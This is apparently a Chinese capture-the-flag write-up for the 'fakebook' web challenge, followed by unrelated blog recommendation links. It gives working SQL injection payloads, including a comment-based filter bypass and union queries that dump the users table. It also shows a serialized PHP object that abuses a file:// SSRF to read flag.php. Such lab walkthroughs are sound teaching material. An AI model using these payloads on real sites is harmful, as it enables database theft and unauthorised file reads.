攻防世界——fakebook

拿到靶机后先用dirsearch进行端口扫描

发现有有个flag.php文件和robots.txt文本

尝试进入flag.php文件

空白,也许是被隐藏了

尝试进入robots.txt文本

发现显示了user.php的备份包

bak文件一般属于备份文件,即back-up。

访问user.php.bak

访问后直接下载了user.php包

打开user.php.bak进行代码审计

php 复制代码
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
这里定义了一个可以用get传入url的函数

并且没有任何过滤

------存在SSRF漏洞

php 复制代码
function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
这里对把从get中传入的url传入到blog参数
并进行过滤

过滤了file,dite等伪协议

但这里可以用序列化进行绕过

php 复制代码
   public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

回到靶机进行网页分析

打开靶机后有两个选项

一个登录(login),一个注册(join)

尝试弱口令登录

结果全是失败的弹窗

尝试注册一个管理员账号

发现注册成功了

但发现只有蓝色的admin链接可以点击

点击admin

一个包含账号信息的页面

查看页面源代码

发现底部有个包含了data://协议的iframe参数

data://协议是数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
该iframe使用data URI scheme,其结构为:

data: - 表示使用数据URI协议

text/html - 指定内容类型为HTML

base64 - 表示后续内容经过base64编码

那么现在有两个问题

  • 我们不知道flag.php的路径
  • 我们不知道如何把数据加入data://协议中

我们再观察url发现存在no参数

修改一下

发现会报错,但返回了很多信息

其中我们发现返回了当前目录的绝对路径(/var/www/html/

那我们就有理由猜测flag.php也许就为(/var/www/html/flag.php

尝试进行sql注入

先判断注入类型

no=1 and 1=1--+

正常

no=1 and 1=2--+

报错

确定为数字型

字符型注入:需要闭合前面的引号,通常使用 ' 或 ",如 1'--+

数字型注入:不需要额外的引号闭合,直接添加条件即可

  • and 1=1 (恒真条件):如果页面正常返回,说明SQL语句被执行了
  • and 1=2 (恒假条件):如果页面显示异常、空白或提示"无结果",表明应用程序对SQL结果有判断
  • 对于数字型注入
    • 1 and 1=1 应该正常显示结果
    • 1 and 1=2 应该不显示结果或报错(因为条件为假)
  • 对于字符型注入
    • 如果直接使用 1 and 1=1 而不闭合引号,可能两种情况都报错
    • 需要先闭合引号(如 1' and 1=1--+)才能看到正确反应

判断字段数

no=1 order by 4--+

正常

no=1 order by 5--+

报错

确定字段数为4

尝试联合查询

爆数据库名

这里我们用一个空数据(no=-1)来查询,防止与no=1冲突

no=-1 union select 1,databases(),3,4--+

发现被过滤了

用注释代替空格绕过

/**/

no=-1 union/**/select 1,database(),3,4--+

发现一个叫fakebook的数据库

爆表名

no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

发现只有一个users表

爆字段

-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

发现有no,username,passwd,data四个字段,后面有几个未知字段,猜测是系统变量。

查字段信息

-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+

发现爆出了admin 账号真正的密码但是加密的

和一段序列化信息,这段信息中似乎包含了我们账号的所有个人资料

专门把data字段拿出来看

-1 union/**/select 1,group_concat(data),3,4 from users--+

把数据进行反序列化后查看

网站

发现恰巧是我们一开始发现的user.php中的数据

思路闭环了

  • 在user.php中我们知道blog参数可传入url数据并执行
  • 在页面源代码中我们知道iframe参数中有data://协议
  • 在users表中的data字段中储存着blog参数

链接起来就是,当用户访问个人资料页时,服务器会获取和读取blog参数指向的内容,并将获取到的内容base64编码后放入iframe的src中

也就是说我们可以利用flie://协议构造file:///var/www/html/flag.php,然后通过data数据中的bolg数据进行注入,从页面的firame参数中读取flag.php的信息

注入user数据

构造data数据

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

s:代表字符串的个数,file:///var/www/html/flag.php有29个字符串,故这里要改为29

构造注入payload

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在先前进行SQL注入测试的时候我们知道有4个字段

在查询user表字段,data数据在第四个

因此我们这里猜测data数据就在第四个字段

成功注入到blog中

在页面源代码中寻找iframe参数

base64解码后便是flag

flag{c1e552fdf77049fabf65168f22f7aeab}

相关推荐
二川bro2 小时前
类型错误详解:Python TypeError排查手册
android·java·python
TeleostNaCl3 小时前
在小米 Hyper OS 2 上使用开发者选项关闭视频彩铃功能
android·经验分享
_李小白3 小时前
【Android FrameWork】延伸阅读:Activity生命周期
android
_李小白4 小时前
【Android FrameWork】第二十五天:Service的启动
android
ZePingPingZe4 小时前
DriverManager、DataSource、数据库驱动以及数据库连接池的关系
android·数据库·adb
Suckerbin4 小时前
Solar应急响应8月赛 勒索环境溯源排查
web安全·网络安全·安全威胁分析
2501_915106324 小时前
H5 混合应用加密实践,从明文资源到安全 IPA 的多层防护体系
android·安全·ios·小程序·uni-app·iphone·webview
Jerry4 小时前
Compose 提升状态的场景
android
qq_717410015 小时前
关闭相机-闪光灯功能
android